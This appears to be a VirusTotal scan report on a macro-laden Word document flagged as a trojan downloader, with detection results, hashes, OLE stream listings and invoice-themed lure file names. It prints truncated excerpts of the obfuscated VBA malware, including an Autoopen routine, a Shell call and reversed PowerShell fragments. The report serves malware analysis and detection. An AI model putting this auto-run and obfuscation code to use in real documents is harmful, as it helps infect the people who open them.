Antivirus scan for 2efe8c436b4965409f87799ef8659482b79c9a9b6c25422376e89cd932fd4475 at 2018-04-27 11:01:31 UTC

Antivirus	Result	Update
Ad-Aware	VB:Trojan.Valyria.1717	20180427
AegisLab	Vb.Troj.Valyria!c	20180427
Arcabit	HEUR.VBA.Trojan.e	20180427
Avast	MO97:Downloader-QV [Trj]	20180427
AVG	MO97:Downloader-QV [Trj]	20180427
AVware	LooksLike.Macro.Malware.k (v)	20180427
BitDefender	VB:Trojan.Valyria.1717	20180427
DrWeb	W97M.DownLoader.2676	20180427
Emsisoft	VB:Trojan.Valyria.1717 (B)	20180427
ESET-NOD32	VBA/TrojanDownloader.Agent.HYE	20180427
F-Secure	VB:Trojan.Valyria.1717	20180427
Fortinet	VBA/Agent.HXE!tr.dldr	20180427
GData	VB:Trojan.Valyria.1717	20180427
Kaspersky	HEUR:Trojan.Script.Agent.gen	20180427
McAfee	RDN/Generic Downloader.x	20180427
McAfee-GW-Edition	BehavesLike.Downloader.cl	20180425
Microsoft	Trojan:Script/Cloxer.A!cl	20180427
eScan	VB:Trojan.Valyria.1717	20180427
NANO-Antivirus	Trojan.Ole2.Vbs-heuristic.druvzi	20180427
Qihoo-360	virus.office.qexvmc.1070	20180427
Symantec	Trojan.Gen.2	20180427
TrendMicro	TROJ_FRS.VSN1BD18	20180427
TrendMicro-HouseCall	TROJ_FRS.VSN1BD18	20180427
VIPRE	LooksLike.Macro.Malware.k (v)	20180427
ZoneAlarm by Check Point	HEUR:Trojan.Script.Agent.gen	20180427
Zoner	Probably W97Shell	20180426
AhnLab-V3		20180426
Alibaba		20180427
ALYac		20180427
Antiy-AVL		20180427
Avast-Mobile		20180426
Avira (no cloud)		20180427
Babable		20180406
Baidu		20180426
Bkav		20180426
CAT-QuickHeal		20180427
ClamAV		20180427
CMC		20180427
Comodo		20180427
CrowdStrike Falcon (ML)		20180418
Cybereason		None
Cylance		20180427
Cyren		20180427
eGambit		20180427
Endgame		20180403
F-Prot		20180427
Ikarus		20180427
Sophos ML		20180121
Jiangmin		20180427
K7AntiVirus		20180427
K7GW		20180427
Kingsoft		20180427
Malwarebytes		20180427
MAX		20180427
nProtect		20180427
Palo Alto Networks (Known Signatures)		20180427
Panda		20180426
Rising		20180427
SentinelOne (Static ML)		20180225
Sophos AV		20180427
SUPERAntiSpyware		20180427
Symantec Mobile Insight		20180424
Tencent		20180427
TheHacker		20180426
Trustlook		20180427
VBA32		20180426
ViRobot		20180427
Webroot		20180427
Yandex		20180427
Zillya		20180426

The file being studied follows the Compound Document File format! More specifically, it is a MS Word Document file.

Commonly abused properties

The studied file makes use of macros, a macro is a series of commands and instructions that you group together as a single command to accomplish a task automatically. Macros are often abused to perform malicious tasks when working with a document.

May try to run other files, shell commands or applications.

Seems to contain deobfuscation code.

Summary

creation_datetime

2018-04-26 15:27:00

author

Qoshejyjaemaho

title

Qoshejyjaema

page_count

last_saved

2018-04-26 15:27:00

revision_number

application_name

Microsoft Office Word

character_count

template

Normal.dotm

code_page

Latin I

subject

Qoshejyjaemahoni

Document summary

OLE Streams

[+] Root Entry

[+] \x01CompObj

[+] \x05DocumentSummaryInformation

[+] \x05SummaryInformation

[+] Macros/VBA/TiHmEabKtztzn

[+] Macros/VBA/_VBA_PROJECT

[+] Macros/VBA/__SRP_0

[+] Macros/VBA/__SRP_1

[+] Macros/VBA/__SRP_2

[+] Macros/VBA/__SRP_3

[+] Macros/VBA/dir

[+] Macros/VBA/iPiMQARzBff

[+] Macros/VBA/jFVDhfBQ

[+] Macros/VBA/wimwrPXb

[+] WordDocument

Macros and VBA code streams

[+] wimwrPXb.cls Macros/VBA/wimwrPXb 3440 bytes

obfuscated

Sub AQQtI(BCCiht)
Select Case VnvsfA
         Case 75252
            IOvUp = Hex(usiZiG - ChrW(HfRtqt))
            VYuHz = CByte(64390)
            MiiWmL = rCUYSV
         Case 12415
            YEznq = HdwpH
            vjToU = Round(15956)
            iKzDw = Log(DPdwUX)
End Select
End Sub
Sub ILAqI(rMFEf)
Select Case inwHij
         Case 8552
            SXwYB = Hex(tmwdh - ChrW(RjQjjd))
            IRpdGU = CByte(43296)
            HFHvP = MEkNc
         Case 78372
            SEObW = PuWOY
            Bwtdu = Round(84935)
            ilmhq = Log(ROEfjW)
End Select
Select Case oZpMb
         Case 3699
            THWkqj = Hex(OTTbpV - ChrW(KUfXX))
            EmKPqs = CByte(32706)
            bGhBs = kXOCq
         Case 13048
            DulDqB = iFJoDI
            jwGtwS = Round(50976)
            NmawMn = Log(FdjRBB)
End Select
Select Case ZMAqhk
         Case 41360
            szjdDb = Hex(JroRQ - ChrW(wdtovs))
            jImHd = CByte(77810)
            usHkp = RucNj
         Case 68669
            zUocj = LaiGCl
            VPkLcA = Round(29514)
            NQkDb = Log(OEBjFM)
End Select
End Sub
Sub CLTJYs(wLmFzz)
Select Case CKQliU
         Case 14161
            EEZHlz = Hex(hawZK - ChrW(EQBDH))
            GBiiEi = CByte(5232)
            ukvWr = RHOjQG
         Case 60516
            dLJZmc = tOhbhA
            aaVdjk = Round(52077)
            fZhkBw = Log(RmAHf)
End Select
Select Case SVirZ
         Case 27869
            VNvKZ = Hex(jnOnXu - ChrW(jjjrB))
            Bqzuba = CByte(39948)
            HFqlJ = ZbRiX
         Case 21612
            PODwc = fqmln
            wNKYSU = Round(68570)
            XYiXC = Log(YaFOF)
End Select
End Sub
Sub Autoopen()
On Error Resume Next
Select Case qIlbt
         Case 92008
            OpUVTD = Hex(LJPDwK - ChrW(Guqjfw))
            nElXj = CByte(37831)
            pbjiXV = PDCOU
         Case 14135
            PLCPu = kNuvOz
            akiwnj = Round(91665)
            hjYbo = Log(qrnSL)
End Select
WkPIGTi [... continues ...]

[+] TiHmEabKtztzn.bas Macros/VBA/TiHmEabKtztzn 8228 bytes

obfuscated

Sub XOcSX(KYJETs)
Select Case vKfzQS
         Case 59944
            ZEJlpw = Hex(KLcpr - ChrW(wjzJts))
            uYCSLw = CByte(61044)
            NzdjI = wKSjiv
         Case 8359
            wbiBv = dfnXZA
            ABrZqS = Round(10981)
            LzIjEz = Log(hdKza)
End Select
End Sub
Function AcLKQCUTNzSNP()
On Error Resume Next
Select Case pMwIK
         Case 28279
            pShvUN = Hex(ZBWXv - ChrW(pYYcD))
            VmqRtU = CByte(29953)
            zbjZAc = mkiivD
         Case 44355
            ZkPqFV = nWFct
            zBobFf = Round(48954)
            SwWTZC = Log(utHiwq)
End Select
OqzcWdwPi = HwICUd("PBWR1rqz) )43]rahc[]gnIrtS[,'D1b'(EcaLPeR.)93]rahc[]gnIrtS[,'EM24'(EcaLPeR.)'$',)111]rahc[+401]rahc[+66]rahc[+301]rahc[((EcaLPeR.)69]rahc[]gnIrtS[,)97]rahc[+76]rahc[+021]rz", hWdpcj - hWdpcj + 2 + hWdpcj - hWdpcj, hWdpcj - hWdpcj + 163 + hWdpcj - hWdpcj)
Select Case hddJM
         Case 65906
            NUYjpn = Hex(pHqXzz - ChrW(ntXfS))
            tcwzuB = CByte(67064)
            KzvTr = Fcwkk
         Case 28275
            EmQGA = IukGdu
            ukVbo = Round(77643)
            PfJvE = Log(nCKvn)
End Select
Select Case aiYjQ
         Case 50283
            vwpiav = Hex(cLBStu - ChrW(NMJkls))
            PlvBWT = CByte(47064)
            vIUwA = JVprrD
         Case 75014
            wCRwY = VOvfh
            jLthEc = Round(46007)
            Ptzuu = Log(EqTst)
End Select
WWjGvHrfi = HwICUd("dB%o+'jbo-EM24+E'+'M24w'+'EM24+EM'+'24enEM24(. '+'= UYYohB'+'g;modnar )EM24tEM2'+'4+EM2'+'4cejbo-wEM24'+'+EM24eEM24+'+'EM2'+'4nEM24(& = dsadas'+'nohBg'( ()''nIoj-]52,62,4[cepsMoC:vNE$ (& 2b", DYpphq - DYpphq + 3 + DYpphq - DYpphq, DYpphq - DYpphq + 183 + DYpphq - DYpphq)
Select Case wvpskZ
         Case 88638
            whNpR = Hex(GwbIn - ChrW(fiEDE))
            BOIiv = CByte(5235)
            sCkVBw = iLJifI
         Case 56434
            DGPKFi = RrmoN
            fDUmK = Round(6547)
            zVcaL = Log(hTVWX)
End Select
Select Case QvNBiw
 [... continues ...]

[+] iPiMQARzBff.bas Macros/VBA/iPiMQARzBff 26703 bytes

obfuscated run-file

Sub qOzXkJlHq()
On Error Resume Next
Select Case aktVq
         Case 63918
            zOYRMJ = Hex(ckTmJj - ChrW(zaDoh))
            zIHrV = CByte(81418)
            ptTuJ = DEQGAi
         Case 10747
            vzqww = BcKqj
            jzpGh = Round(92002)
            AoiRY = Log(ZfQjTC)
End Select
End Sub
Sub WkPIGTiLlw(NVFYlSHwzVzj As String)
On Error Resume Next
Select Case ciDJR
         Case 85438
            jHMjd = Hex(ADFPK - ChrW(EHFiN))
            RVZalv = CByte(83708)
            WjCujp = Ymsbzn
         Case 21780
            VaBWtz = Wwpaz
            wIWQr = Round(80490)
            UBLjUk = Log(VMGOuG)
End Select
Select Case DAjZzp
         Case 37313
            FEFqS = Hex(iVKHzU - ChrW(TOSCI))
            hKpbj = CByte(85484)
            uHmrtz = KvHdi
         Case 35635
            qrwGw = lklRXp
            lzQcZ = Round(95992)
            fWiTOw = Log(zXHoXq)
End Select
Shell qStVjFr + Chr(vbKeyC) + NVFYlSHwzVzj + WUUEbm + fiEjdaU, WtRcd + 0 + WtRcd
Select Case cswqn
         Case 23810
            dzzNuj = Hex(GpszV - ChrW(NzJWKm))
            dkrNkW = CByte(20633)
            dlPEz = rUFNri
         Case 16259
            OofFU = dibjAU
            tImdY = Round(42073)
            dEctX = Log(WiEJS)
End Select
End Sub
Function WhGlMaw()
On Error Resume Next
Select Case UWvJMi
         Case 17268
            tuJIWF = Hex(EjhFMk - ChrW(lRzoQM))
            mzWsT = CByte(17338)
            QjofnM = FBcEOF
         Case 79948
            cjQDil = JYOwOH
            mPCwzn = Round(128)
            aZYPfP = Log(jBHaA)
End Select
OqzcWdwPi = HwICUd("PBWR1rqzYpiiTc%!!z", zKHXKX - zKHXKX + 2 + zKHXKX - zKHXKX, zKHXKX - zKHXKX + 9 + zKHXKX - zKHXKX)
Select Case qcQiH
         Case 74701
            QQrwU = Hex(PNBRI - ChrW(ljFqi))
            FOmoM = CByte(78561)
            GbwmmS = AdcJiZ
         Case 90223
            AKhkz = Plkll
            CYkbD = Round(4170)
            NjSaP = Log(SAIHwH)
End Select
Select Case zsVwC
         Case 82007
 [... continues ...]

[+] jFVDhfBQ.bas Macros/VBA/jFVDhfBQ 9894 bytes

obfuscated

Function CqNWVPlMGzZ()
On Error Resume Next
Select Case zbDnt
         Case 43757
            LZSBV = Hex(CLUtj - ChrW(GUwEU))
            wzFUlj = CByte(20978)
            FkzjX = sisKK
         Case 42119
            WUSvRR = mozWiD
            XGrnlq = Round(4334)
            RLnVc = Log(Ycntw)
End Select
MFuzh = HwICUd("Q0Ls MzlWzdrUiAzWdjJT 5ZJ", EIwOj - EIwOj + 4 + EIwOj - EIwOj, EIwOj - EIwOj + 19 + EIwOj - EIwOj)
Select Case aimYUO
         Case 64255
            QkdzTJ = Hex(bAXZf - ChrW(KCHIvp))
            OMMdk = CByte(24478)
            tUSSW = Vvjip
         Case 4455
            vzbQT = APbfQ
            ZTSDY = Round(99650)
            GlbHh = Log(DVUOV)
End Select
Select Case BKROd
         Case 85666
            HjQEZ = Hex(rziOWz - ChrW(azNsOw))
            zLwjmD = CByte(55204)
            iBRdTQ = icjdwo
         Case 91016
            mhMnn = wYAiM
            vmjRW = Round(98851)
            Odwsi = Log(dTlJk)
End Select
pNDpObcQ = HwICUd("R@1c^E^p^S^m^o^c^%     &SIoXX", SsVRR - SsVRR + 6 + SsVRR - SsVRR, SsVRR - SsVRR + 21 + SsVRR - SsVRR)
Select Case rBLJC
         Case 50106
            pimcR = Hex(HzCrwR - ChrW(zjhXq))
            iUJkKP = CByte(30318)
            URjcdr = JdbAf
         Case 87252
            Wbbps = ELUoTN
            vfubNB = Round(42388)
            fSPSaA = Log(CFWLvK)
End Select
Select Case GUrmIr
         Case 19115
            btGoXn = Hex(lFqiA - ChrW(FCHbbS))
            lSwTz = CByte(75972)
            iMXwIX = ZGLZJM
         Case 75451
            JicHt = SjLjY
            wIunpk = Round(92499)
            YisWdz = Log(wwBSGY)
End Select
BPbpVwRN = HwICUd("ndXwmkOa/    Z", iJVWmY - iJVWmY + 2 + iJVWmY - iJVWmY, iJVWmY - iJVWmY + 5 + iJVWmY - iJVWmY)
Select Case JPrsuq
         Case 22657
            LRjZwQ = Hex(YjYPK - ChrW(bqFdvU))
            nJNRa = CByte(42704)
            ivzpFQ = WamEzP
         Case 71025
            RtqNo = ZlOwWq
            BERwcQ = Round(63993)
            mjKtqE = Log(TZwEk)
End S [... continues ...]

ExifTool file metadata

File identification

MD5 f4c3e4878dac89e6f484055ca568cba0

SHA1 a4e06bd9d9f4901d019ca553369a37c170193482

SHA256 2efe8c436b4965409f87799ef8659482b79c9a9b6c25422376e89cd932fd4475

ssdeep

1536:M1AGRZeLSs8LYK+ahlBoacqhO0STvc0OQEazlB8iww84wYGa6ygcFGr6BP1DA:7GRZeLIhtSTE0Btzl38rYkygc5G

File size 164.0 KB ( 167936 bytes )

File type MS Word Document

Magic literal

CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Qoshejyjaema, Subject: Qoshejyjaemahoni, Author: Qoshejyjaemaho, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 23:27:00 2018, Last Saved Time/Date: Wed Apr 25 23:27:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0

TrID	Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%)

VirusTotal metadata

First submission 2018-04-27 07:00:55 UTC ( 10 months ago )

Last submission 2018-05-20 04:56:07 UTC ( 9 months, 1 week ago )

File names

hxxp:++www. s-kotobuki.co.jp+hpTQBfx+-2018-05-09.15-53.txt
Service Report (2751).doc
Scan.doc
927749eb37c744de7441844353b5b15e377e5339
f4c3e4878dac89e6f484055ca568cba0.virobj
Invoices Overdue.doc
2018.doc
47.doc
-2018-05-09.15-44.txt
Paid Invoice.doc
Paid Invoice & Credit Card Receipt.doc
2018.doc
2018.doc
Open Past Due Orders.doc
Past Due Invoice.doc
735-55-983871-240 & 735-55-983871-116.doc
Summit Companies Invoice #07458434.doc
Open invoices.doc
2018.doc
Service Invoice.doc
Invoices attached.doc
Invoice receipt.doc

SHA256:	2efe8c436b4965409f87799ef8659482b79c9a9b6c25422376e89cd932fd4475
Detection ratio:	26 / 60
Analysis date:	2018-04-27 11:01:31 UTC ( 9 months, 4 weeks ago ) View latest

Ciphered bundle

Commonly abused properties

Summary

Document summary

OLE Streams

Macros and VBA code streams

ExifTool file metadata

File identification

VirusTotal metadata

Leave your comment...

Recover your password

Join VirusTotal Community

Sign in